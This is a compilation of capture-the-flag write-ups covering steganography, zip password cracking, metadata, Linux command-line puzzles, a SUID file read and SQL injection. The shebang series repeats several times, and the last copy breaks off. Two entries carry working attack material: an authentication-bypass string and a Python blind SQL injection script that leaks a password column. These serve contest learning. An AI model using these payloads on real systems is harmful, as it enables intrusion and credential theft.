## BasedSteg \[80 pts.\]>Steganography is the computer science of concealing or encrypting a message within a file, these are often found in ARG’s left by hackers. Find the message hidden within the image. https://tinyurl.com/baseencryption>>No flag formatting required.>_files: UNKNOWN2.png_
First, let's check the image with Stegsolve:

We can see a base64-encoded string so let's decode it. The flag is `Based and stegpilled` |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Data%20Store.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Data%20Store.md) -----# Data Store
 
## Details
\Firstly, I navigated to the URL provided and had a look around "https://cyberyoddha.baycyber.net:33002"Looking at the webpage you are only presented with a login page.\\Viewing the source gave no indication, so i tried some default username and passwords:- admin:admin admin:password admin:123456Which just gave me errors,(see below).\\\Reading the challenge details again and looking at what the challenge is called "Data Store", i started to think that it must be a authentication bypass or SQL Injection.\\Web Expoloitation isn't my strong suit so i ended up using a google search "SQLI vulnerability testing" which then led me to googling "sql injection practical cheat sheet"\\Looking through some of the websites, i came across this one "https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/", i knew that i would be looking for something like 1=1\\or something along those lines so i scrolled through till i found a section with a similar example.\\\So i tried that in the admin login box, in this format " admin ' OR '1' = '1 "\\\What do we have here!\\\\Looks like we have the flag: ***cyctf{1_l0v3_$qli}*** |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Crack%20the%20Zip.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Crack%20the%20Zip.md) -----
# Crack the Zip
 
```[jaxigt@MBA crack_the_zip]$ zip2john flag.zip ver 1.0 efh 5455 efh 7875 flag.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=42, decmplen=30, crc=6DB4BCF0flag.zip/flag.txt:$pkzip2$1*2*2*0*2a*1e*6db4bcf0*0*42*0*2a*6db4*8500*a456e7cb9788f0047910f60de3cf4af8c9cca229c1528aebb42245dcc34ed6a5c088ef9155a717b2e2c2*$/pkzip2$:flag.txt:flag.zip::flag.zip```
`zip2john flag.zip > flag.hash`
```[jaxigt@MBA crack_the_zip]$ john --wordlist=/usr/share/wordlists/rockyou.txt flag.hashUsing default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusnot2secure (flag.zip/flag.txt)1g 0:00:00:00 DONE (2020-10-31 00:23) 2.380g/s 11936Kp/s 11936Kc/s 11936KC/s nothingnew74..norijoyUse the "--show" option to display all of the cracked passwords reliablySession completed```
here we can see it cracked the password which is `not2secure`
Let's unzip the file now
```[jaxigt@MBA crack_the_zip]$ unzip flag.zip Archive: flag.zip
[flag.zip] flag.txt password: extracting: flag.txt ```
And finally, get the flag;
```[jaxigt@MBA crack_the_zip]$ cat flag.txt cyctf{y0u_cr@ck3d_th3_z!p...}```
## cyctf{y0u_cr@ck3d_th3_z!p...} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%206.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%206.md) -----# Trivia 6
 
> A Hacker infiltrated one of Microsoft's servers and set up malware inside. The malware laid dormant for months, being unnoticed by the server admins. On Thanksgiving Day, the malware was activated, and it crashed all of the servers and the entire network. What is this type of malware called?{no wrapper needed}
## Answer: Logic Bomb |
this is an sql injection challenge, however one must change the cookie to hex representation of string True, before we can do the sql injection. Otherwise the request will be ignored, from fuzzing we know that db is sqlite3, and that means all schema are safed at sqlite_master, we leak them one character at a time using the information reflected if login is successful or not, we found that there are users table and password column, we leak the password to get the flag ```import requests
cookies = { '416c6c6f77': '54727565',}
headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'http://130.185.122.155:8080', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Referer': 'http://130.185.122.155:8080/', 'Accept-Language': 'en-US,en;q=0.9,id;q=0.8,fr;q=0.7',}import stringyo = string.printable.replace("%", '')print(yo)now = 'create_table_users'now = 'RaziCTF{!snt_bl'
while True:
for i in yo: data = { 'uname': "1'or/**/(select (select group_concat(password) from users) LIKE '"+now+i+"%')-- -", 'psw': 'a' }
response = requests.post('http://130.185.122.155:8080/login', headers=headers, cookies=cookies, data=data, verify=False) if 'did' in response.content: now = now + i print(now) break print "HELLO"``` |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Password%202.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Password%202.md) -----
# Password 2
 
## Details

If we download and exmaine the python script we can see the following;
```pythonimport random
def checkPassword(password): if(len(password) != 47): return False newPass = list(password) for i in range(0,9): newPass[i] = password[i] for i in range(9,24): newPass[i] = password[32-i] for i in range(24,47,2): newPass[i] = password[70-i] for i in range(45,25,-2): newPass[i] = password[i] password = "".join(newPass); return password == "CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m"
password = input("Enter password: ")if(checkPassword(password)): print("PASSWORD ACCEPTED\n")else: print("PASSWORD DENIED\n")```
Again (like in the previous challenge), we can see the flag is locate in the `checkPassword()` funtion, but is all jumbled up.
This time to decrypt we'll add a few lines of code to the script;
```pythondecryptedPass = ""for chr in newPass: decryptedPass = decryptedPass + chrprint(decryptedPass)```
We'll also pass the jumbled password string through the funtion to save us having to copy and paste it in, and comment out the input request, like so;
```python#password = input("Enter password: ")if(checkPassword("CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m")):```
The updated script now looks like this;
```pythonimport random
def checkPassword(password): if(len(password) != 47): return False newPass = list(password) for i in range(0,9): newPass[i] = password[i] for i in range(9,24): newPass[i] = password[32-i] for i in range(24,47,2): newPass[i] = password[70-i] for i in range(45,25,-2): newPass[i] = password[i] decryptedPass = "" for chr in newPass: decryptedPass = decryptedPass + chr print(decryptedPass)
password = "".join(newPass); return password == "CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m"
password = input("Enter password: ")if(checkPassword("CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m")): print("PASSWORD ACCEPTED\n")else: print("PASSWORD DENIED\n")```
If we run this script ```[jaxigt@MBA password_2]$ python password2.py CYCTF{ju$t_@_l177l3_scr@mbl3_f0r_y0u_t0_d3c0d3}PASSWORD DENIED```
And there's our Flag;
## CYCTF{ju$t_@_l177l3_scr@mbl3_f0r_y0u_t0_d3c0d3} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Image%20Viewer.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Image%20Viewer.md) -----
# Image Viewer
 
We download the image file.

The details on the challenge say;
> "My friend took this image in a cool place"
So let's take a look and see if there's any Meta data in the image;
```[jaxigt@MBA image_viewer]$ exiftool shoob_2.jpeg ExifTool Version Number : 12.00File Name : shoob_2.jpegDirectory : .File Size : 11 kBFile Modification Date/Time : 2020:10:31 01:06:43+00:00File Access Date/Time : 2020:10:31 01:06:43+00:00File Inode Change Date/Time : 2020:10:31 01:07:18+00:00File Permissions : rw-r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegJFIF Version : 1.01X Resolution : 1Y Resolution : 1Exif Byte Order : Big-endian (Motorola, MM)Make : Shoob PhoneCamera Model Name : Shoob 1Resolution Unit : NoneSoftware : MacOs ofcArtist : Shoobs 4 lifeY Cb Cr Positioning : CenteredCopyright : 2020Exif Version : 0231Date/Time Original : 2020:09:04 17:09:04Create Date : 2020:09:04 17:08:59Components Configuration : Y, Cb, Cr, -User Comment : CORONAFlashpix Version : 0100Owner Name : SHOOBLens Make : Canon 3Lens Model : ShoobLens Serial Number : CYCTF{h3h3h3_1m@g3_M3t@d@t@_v13w3r_ICU}Image Width : 180Image Height : 280Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Image Size : 180x280Megapixels : 0.050```
There it is;
## CYCTF{h3h3h3_1m@g3_M3t@d@t@_v13w3r_ICU} |
# shebang0-5
1. [shebang0](#shebang0)2. [shebang1](#shebang1)3. [shebang2](#shebang2)4. [shebang3](#shebang3)5. [shebang4](#shebang4)6. [shebang5](#shebang5)
## shebang0 Author: stephencurry396 Points: 125
### Problem descriptionWelcome to the Shebang Linux Series. Here you will be tested on your basiccommand line knowledge! These challenges will be done through an ssh connection.Also please do not try and mess up the challenges on purpose, and report anyproblems you find to the challenge author. You can find the passwords at /etc/passwords.The username is the challenge title, shebang0-5, and the password is the previouschallenges flag, but for the first challenge, its shebang0.
The first challenge is an introductory challenge. Connect to cyberyoddha.baycyber.neton port 1337 to receive your flag!
### SolutionConnected via ssh using the following command:```$ ssh [email protected] -p 1337[email protected]'s password: # insert password shebang0```
Used `ls` command to look for the flag in the current directory:```$ ls -altotal 12dr-x------ 1 shebang0 root 4096 Oct 30 07:07 .drwxr-xr-x 1 root root 4096 Oct 30 07:07 ..-rw-r--r-- 1 root root 33 Oct 6 00:26 .flag.txt```
There was file called `.flag.txt`.
Output the file contents using `cat`:```$ cat .flag.txt CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}```
Thus, the flag is `CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}`.
## shebang1 Author: stephencurry396 Points: 125
### Problem descriptionThis challenge is simple.
### SolutionConnected via ssh with user shebang1.
Listed files in the current directory:```$ lsflag.txt```
Tried to `cat` the flag:```$ cat flag.txtWe're no strangers to loveYou know the rules and so do IA full commitment's what I'm thinking ofYou wouldn't get this from any other guyI just wanna tell you how I'm feelingGotta make you understandNever gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cry(....)```
File `flag.txt` contained a lot of information. According to the `wc` commandit contained 9522 lines.
```$ wc -l flag.txt9522 flag.txt```
So it seemed easier to search for the flag (special characters) using `grep`:```$ grep "{"flag.txt:CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}```
So the flag for shebang1 is `CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}`.
## shebang2 Author: stephencurry396 Points: 150
### Problem descriptionThis is a bit harder.
### SolutionConnected via ssh with user shebang2.
`ls` showed current directory had a lot of directories:
```$ ls -altotal 412dr-x------ 1 shebang2 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..drwxr-xr-x 2 root root 4096 Oct 14 18:37 1drwxr-xr-x 2 root root 4096 Oct 14 18:37 10drwxr-xr-x 2 root root 4096 Oct 14 18:37 100drwxr-xr-x 2 root root 4096 Oct 14 18:37 11drwxr-xr-x 2 root root 4096 Oct 14 18:37 12drwxr-xr-x 2 root root 4096 Oct 14 18:37 13drwxr-xr-x 2 root root 4096 Oct 14 18:37 14drwxr-xr-x 2 root root 4096 Oct 14 18:37 15drwxr-xr-x 2 root root 4096 Oct 14 18:37 16(...)```
Recursive `ls` (with the `-R` argument) showed each directory had a lot of files:
```$ ls -lR(...)./1:total 400-rw-r--r-- 1 root root 19 Oct 14 18:37 1-rw-r--r-- 1 root root 19 Oct 14 18:37 10-rw-r--r-- 1 root root 19 Oct 14 18:37 100-rw-r--r-- 1 root root 19 Oct 14 18:37 11-rw-r--r-- 1 root root 19 Oct 14 18:37 12-rw-r--r-- 1 root root 19 Oct 14 18:37 13-rw-r--r-- 1 root root 19 Oct 14 18:37 14-rw-r--r-- 1 root root 19 Oct 14 18:37 15-rw-r--r-- 1 root root 19 Oct 14 18:37 16-rw-r--r-- 1 root root 19 Oct 14 18:37 17(...)```
Tried to `cat` the content of all files to look for patterns:
```$ cat */*This is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flag(...)```
Then tried to `grep` (using `-rv` arguments) recursively for files not containingthe string: `This is not a flag`.
```$ grep -rv "This is not a flag"86/13:CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}```
Thus, the flag for shebang2 is: `CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}`.
## shebang3 Author: stephencurry396 Points: 150
### Problem descriptionThese files are the same...
### SolutionConnected via ssh as user shebang3.
Executing the `ls` command in the current directory showed two files:
```$ lsfile.txt file2.txt```
The problem description gives a clue that we need to find differences betweenthe files.
In [stackoverflow](https://stackoverflow.com/questions/18204904/fast-way-of-finding-lines-in-one-file-that-are-not-in-another)I found a solution to find lines in one file that are not in the other:
```$ grep -F -x -v -f file.txt file2.txtCYCTF{SPTTHFF}(...)```
The string looked promising, but submitting it showed it was not the entireflag. So I tried to `grep` for all lines with exactly one character in `file.txt`:
```$ grep "^.$" file2.txt1CYCTF{SPOT_TH3_D1FF}(...)```
Thus, the flag for shebang3 is: `CYCTF{SPOT_TH3_D1FF}`.
## shebang4 Author: stephencurry396 Points: 200
### Problem descriptionSince you have been doing so well, I thought I would make this an easy one.
### SolutionConnected via ssh as user shebang4.
Listing current directory contents showed a file called `flag.png`:
```$ lsflag.png```
To make it easier to view the file, I disconnected from ssh and transferredthe file to my own computer using `scp`:```$ scp -P1337 [email protected]:/home/shebang4/flag.png .[email protected]'s password:flag.png100% 12KB 62.4KB/s 00:00```
Viewing the `flag.png` image showed the flag:

So the flag for shebang4 is: `CYCTF{W3ll_1_gu3$$_th@t_w@s_actually_easy}`.
## shebang5 Author: stephencurry396 Points: 250
### Problem descriptionthere is a very bad file on this Server. can yoU fInD it.
### Concepts* [setuid](https://en.wikipedia.org/wiki/Setuid)
### SolutionConnected via ssh as user shebang5.
Listing current directory contents showed only the empty file .hushlogin.
```$ ls -altotal 12dr-x------ 1 shebang5 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..-rw-r--r-- 1 root root 0 Oct 31 01:01 .hushlogin```
Actually, the capitalization in the problem description (UID) suggests thatmaybe we need to look for a file with the `SUID` permission set.
As stated in the wikipedia entry on [setuid](https://en.wikipedia.org/wiki/Setuid):
> The Unix access rights flags setuid and setgid (short for "set user ID" and"set group ID") allow users to run an executable with the file system permissionsof the executable's owner or group respectively and to change behaviour in directories.They are often used to allow users on a computer system to run programs withtemporarily elevated privileges in order to perform a specific task.
Used the `find` command to look for a file with such permissions:```$ find / -perm /u=s,g=s 2>/dev/null/var/mail/var/local/var/cat/usr/sbin/unix_chkpwd/usr/sbin/pam_extrausers_chkpwd/usr/bin/gpasswd/usr/bin/umount/usr/bin/wall/usr/bin/chage/usr/bin/chsh(...)```
The `/var/cat` file stood out, as `cat` is usually located in the `/usr/bin`directory, without the `SUID` permission set.
Executing the file to check that it behaves as the regular `cat` program:```$ /var/cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin(...)```
Examining the file attributes with `ls`, we can see that the owner of `/var/cat`is `shebang6`:```$ ls -al /var/cat---s--x--x 1 shebang6 root 16992 Oct 14 20:51 /var/cat```
Now we can use the `find` command to look for files owned by `shebang6`:```$ find / -user shebang6 2>/dev/null/var/cat/etc/passwords/shebang6```
The file `/etc/passwords/shebang6` looked promising, so tried to output itscontent with `/var/cat`:
```$ /var/cat /etc/passwords/shebang6CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}```
Thus, the flag for shebang5 is `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}`. |
# shebang0-5
1. [shebang0](#shebang0)2. [shebang1](#shebang1)3. [shebang2](#shebang2)4. [shebang3](#shebang3)5. [shebang4](#shebang4)6. [shebang5](#shebang5)
## shebang0 Author: stephencurry396 Points: 125
### Problem descriptionWelcome to the Shebang Linux Series. Here you will be tested on your basiccommand line knowledge! These challenges will be done through an ssh connection.Also please do not try and mess up the challenges on purpose, and report anyproblems you find to the challenge author. You can find the passwords at /etc/passwords.The username is the challenge title, shebang0-5, and the password is the previouschallenges flag, but for the first challenge, its shebang0.
The first challenge is an introductory challenge. Connect to cyberyoddha.baycyber.neton port 1337 to receive your flag!
### SolutionConnected via ssh using the following command:```$ ssh [email protected] -p 1337[email protected]'s password: # insert password shebang0```
Used `ls` command to look for the flag in the current directory:```$ ls -altotal 12dr-x------ 1 shebang0 root 4096 Oct 30 07:07 .drwxr-xr-x 1 root root 4096 Oct 30 07:07 ..-rw-r--r-- 1 root root 33 Oct 6 00:26 .flag.txt```
There was file called `.flag.txt`.
Output the file contents using `cat`:```$ cat .flag.txt CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}```
Thus, the flag is `CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}`.
## shebang1 Author: stephencurry396 Points: 125
### Problem descriptionThis challenge is simple.
### SolutionConnected via ssh with user shebang1.
Listed files in the current directory:```$ lsflag.txt```
Tried to `cat` the flag:```$ cat flag.txtWe're no strangers to loveYou know the rules and so do IA full commitment's what I'm thinking ofYou wouldn't get this from any other guyI just wanna tell you how I'm feelingGotta make you understandNever gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cry(....)```
File `flag.txt` contained a lot of information. According to the `wc` commandit contained 9522 lines.
```$ wc -l flag.txt9522 flag.txt```
So it seemed easier to search for the flag (special characters) using `grep`:```$ grep "{"flag.txt:CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}```
So the flag for shebang1 is `CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}`.
## shebang2 Author: stephencurry396 Points: 150
### Problem descriptionThis is a bit harder.
### SolutionConnected via ssh with user shebang2.
`ls` showed current directory had a lot of directories:
```$ ls -altotal 412dr-x------ 1 shebang2 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..drwxr-xr-x 2 root root 4096 Oct 14 18:37 1drwxr-xr-x 2 root root 4096 Oct 14 18:37 10drwxr-xr-x 2 root root 4096 Oct 14 18:37 100drwxr-xr-x 2 root root 4096 Oct 14 18:37 11drwxr-xr-x 2 root root 4096 Oct 14 18:37 12drwxr-xr-x 2 root root 4096 Oct 14 18:37 13drwxr-xr-x 2 root root 4096 Oct 14 18:37 14drwxr-xr-x 2 root root 4096 Oct 14 18:37 15drwxr-xr-x 2 root root 4096 Oct 14 18:37 16(...)```
Recursive `ls` (with the `-R` argument) showed each directory had a lot of files:
```$ ls -lR(...)./1:total 400-rw-r--r-- 1 root root 19 Oct 14 18:37 1-rw-r--r-- 1 root root 19 Oct 14 18:37 10-rw-r--r-- 1 root root 19 Oct 14 18:37 100-rw-r--r-- 1 root root 19 Oct 14 18:37 11-rw-r--r-- 1 root root 19 Oct 14 18:37 12-rw-r--r-- 1 root root 19 Oct 14 18:37 13-rw-r--r-- 1 root root 19 Oct 14 18:37 14-rw-r--r-- 1 root root 19 Oct 14 18:37 15-rw-r--r-- 1 root root 19 Oct 14 18:37 16-rw-r--r-- 1 root root 19 Oct 14 18:37 17(...)```
Tried to `cat` the content of all files to look for patterns:
```$ cat */*This is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flag(...)```
Then tried to `grep` (using `-rv` arguments) recursively for files not containingthe string: `This is not a flag`.
```$ grep -rv "This is not a flag"86/13:CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}```
Thus, the flag for shebang2 is: `CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}`.
## shebang3 Author: stephencurry396 Points: 150
### Problem descriptionThese files are the same...
### SolutionConnected via ssh as user shebang3.
Executing the `ls` command in the current directory showed two files:
```$ lsfile.txt file2.txt```
The problem description gives a clue that we need to find differences betweenthe files.
In [stackoverflow](https://stackoverflow.com/questions/18204904/fast-way-of-finding-lines-in-one-file-that-are-not-in-another)I found a solution to find lines in one file that are not in the other:
```$ grep -F -x -v -f file.txt file2.txtCYCTF{SPTTHFF}(...)```
The string looked promising, but submitting it showed it was not the entireflag. So I tried to `grep` for all lines with exactly one character in `file.txt`:
```$ grep "^.$" file2.txt1CYCTF{SPOT_TH3_D1FF}(...)```
Thus, the flag for shebang3 is: `CYCTF{SPOT_TH3_D1FF}`.
## shebang4 Author: stephencurry396 Points: 200
### Problem descriptionSince you have been doing so well, I thought I would make this an easy one.
### SolutionConnected via ssh as user shebang4.
Listing current directory contents showed a file called `flag.png`:
```$ lsflag.png```
To make it easier to view the file, I disconnected from ssh and transferredthe file to my own computer using `scp`:```$ scp -P1337 [email protected]:/home/shebang4/flag.png .[email protected]'s password:flag.png100% 12KB 62.4KB/s 00:00```
Viewing the `flag.png` image showed the flag:

So the flag for shebang4 is: `CYCTF{W3ll_1_gu3$$_th@t_w@s_actually_easy}`.
## shebang5 Author: stephencurry396 Points: 250
### Problem descriptionthere is a very bad file on this Server. can yoU fInD it.
### Concepts* [setuid](https://en.wikipedia.org/wiki/Setuid)
### SolutionConnected via ssh as user shebang5.
Listing current directory contents showed only the empty file .hushlogin.
```$ ls -altotal 12dr-x------ 1 shebang5 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..-rw-r--r-- 1 root root 0 Oct 31 01:01 .hushlogin```
Actually, the capitalization in the problem description (UID) suggests thatmaybe we need to look for a file with the `SUID` permission set.
As stated in the wikipedia entry on [setuid](https://en.wikipedia.org/wiki/Setuid):
> The Unix access rights flags setuid and setgid (short for "set user ID" and"set group ID") allow users to run an executable with the file system permissionsof the executable's owner or group respectively and to change behaviour in directories.They are often used to allow users on a computer system to run programs withtemporarily elevated privileges in order to perform a specific task.
Used the `find` command to look for a file with such permissions:```$ find / -perm /u=s,g=s 2>/dev/null/var/mail/var/local/var/cat/usr/sbin/unix_chkpwd/usr/sbin/pam_extrausers_chkpwd/usr/bin/gpasswd/usr/bin/umount/usr/bin/wall/usr/bin/chage/usr/bin/chsh(...)```
The `/var/cat` file stood out, as `cat` is usually located in the `/usr/bin`directory, without the `SUID` permission set.
Executing the file to check that it behaves as the regular `cat` program:```$ /var/cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin(...)```
Examining the file attributes with `ls`, we can see that the owner of `/var/cat`is `shebang6`:```$ ls -al /var/cat---s--x--x 1 shebang6 root 16992 Oct 14 20:51 /var/cat```
Now we can use the `find` command to look for files owned by `shebang6`:```$ find / -user shebang6 2>/dev/null/var/cat/etc/passwords/shebang6```
The file `/etc/passwords/shebang6` looked promising, so tried to output itscontent with `/var/cat`:
```$ /var/cat /etc/passwords/shebang6CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}```
Thus, the flag for shebang5 is `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}`. |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Me%2C%20Myself%2C%20and%20I.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Me%2C%20Myself%2C%20and%20I.md) -----
# Me, Myself, and I
 
This time we're given a longer hash;
`2412f72f0f0213c98c1f9f6065728da4529000e5c3a2e16c4e1379bd3e13ccf543201eec4eb7b400eb5a6c9b774bf0c0eeda44869e08f3a54a0b13109a7644aa`
Again i run this through hash-identifier;

Well before we try cracking a SHA-512 let's look at the whirlpool option;
I head over to the site [https://md5hashing.net](https://md5hashing.net/hash/whirlpool/2412f72f0f0213c98c1f9f6065728da4529000e5c3a2e16c4e1379bd3e13ccf543201eec4eb7b400eb5a6c9b774bf0c0eeda44869e08f3a54a0b13109a7644aa) and try decrypting the hash as a **whirlpool** hash.
And the hash is decrpyted;

## cyctf{whoami} |
## Warm-up 2 \[30 pts.\]
>Log into the ssh service with username peactf and password peactf2020.>>Hmm... how to I search for a string recursively on Linux?
Once again, we ssh into the machine
```peactf@b1141ba8db02:~$ lsreadme.txt warm-up-2peactf@b1141ba8db02:~$ cat readme.txtA legit flag is in the format of peaCTF{}```Ok, now we try to `grep -Rn "peaCTF" warm-up-2`, which produces a ton of output with fake flags. They don't match the format because they don't end with `}`. So, let's try to `grep -Rn "}" warm-up-2`
And now it finds just one file with a legit flag in it (still a lot of fake flags, but thanks to grep for highlighting `}`!)
`peaCTF{27137da9-b3d4-4628-a669-5a3cf8bc47a9}` |
# shebang0-5
1. [shebang0](#shebang0)2. [shebang1](#shebang1)3. [shebang2](#shebang2)4. [shebang3](#shebang3)5. [shebang4](#shebang4)6. [shebang5](#shebang5)
## shebang0 Author: stephencurry396 Points: 125
### Problem descriptionWelcome to the Shebang Linux Series. Here you will be tested on your basiccommand line knowledge! These challenges will be done through an ssh connection.Also please do not try and mess up the challenges on purpose, and report anyproblems you find to the challenge author. You can find the passwords at /etc/passwords.The username is the challenge title, shebang0-5, and the password is the previouschallenges flag, but for the first challenge, its shebang0.
The first challenge is an introductory challenge. Connect to cyberyoddha.baycyber.neton port 1337 to receive your flag!
### SolutionConnected via ssh using the following command:```$ ssh [email protected] -p 1337[email protected]'s password: # insert password shebang0```
Used `ls` command to look for the flag in the current directory:```$ ls -altotal 12dr-x------ 1 shebang0 root 4096 Oct 30 07:07 .drwxr-xr-x 1 root root 4096 Oct 30 07:07 ..-rw-r--r-- 1 root root 33 Oct 6 00:26 .flag.txt```
There was file called `.flag.txt`.
Output the file contents using `cat`:```$ cat .flag.txt CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}```
Thus, the flag is `CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}`.
## shebang1 Author: stephencurry396 Points: 125
### Problem descriptionThis challenge is simple.
### SolutionConnected via ssh with user shebang1.
Listed files in the current directory:```$ lsflag.txt```
Tried to `cat` the flag:```$ cat flag.txtWe're no strangers to loveYou know the rules and so do IA full commitment's what I'm thinking ofYou wouldn't get this from any other guyI just wanna tell you how I'm feelingGotta make you understandNever gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cry(....)```
File `flag.txt` contained a lot of information. According to the `wc` commandit contained 9522 lines.
```$ wc -l flag.txt9522 flag.txt```
So it seemed easier to search for the flag (special characters) using `grep`:```$ grep "{"flag.txt:CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}```
So the flag for shebang1 is `CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}`.
## shebang2 Author: stephencurry396 Points: 150
### Problem descriptionThis is a bit harder.
### SolutionConnected via ssh with user shebang2.
`ls` showed current directory had a lot of directories:
```$ ls -altotal 412dr-x------ 1 shebang2 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..drwxr-xr-x 2 root root 4096 Oct 14 18:37 1drwxr-xr-x 2 root root 4096 Oct 14 18:37 10drwxr-xr-x 2 root root 4096 Oct 14 18:37 100drwxr-xr-x 2 root root 4096 Oct 14 18:37 11drwxr-xr-x 2 root root 4096 Oct 14 18:37 12drwxr-xr-x 2 root root 4096 Oct 14 18:37 13drwxr-xr-x 2 root root 4096 Oct 14 18:37 14drwxr-xr-x 2 root root 4096 Oct 14 18:37 15drwxr-xr-x 2 root root 4096 Oct 14 18:37 16(...)```
Recursive `ls` (with the `-R` argument) showed each directory had a lot of files:
```$ ls -lR(...)./1:total 400-rw-r--r-- 1 root root 19 Oct 14 18:37 1-rw-r--r-- 1 root root 19 Oct 14 18:37 10-rw-r--r-- 1 root root 19 Oct 14 18:37 100-rw-r--r-- 1 root root 19 Oct 14 18:37 11-rw-r--r-- 1 root root 19 Oct 14 18:37 12-rw-r--r-- 1 root root 19 Oct 14 18:37 13-rw-r--r-- 1 root root 19 Oct 14 18:37 14-rw-r--r-- 1 root root 19 Oct 14 18:37 15-rw-r--r-- 1 root root 19 Oct 14 18:37 16-rw-r--r-- 1 root root 19 Oct 14 18:37 17(...)```
Tried to `cat` the content of all files to look for patterns:
```$ cat */*This is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flag(...)```
Then tried to `grep` (using `-rv` arguments) recursively for files not containingthe string: `This is not a flag`.
```$ grep -rv "This is not a flag"86/13:CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}```
Thus, the flag for shebang2 is: `CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}`.
## shebang3 Author: stephencurry396 Points: 150
### Problem descriptionThese files are the same...
### SolutionConnected via ssh as user shebang3.
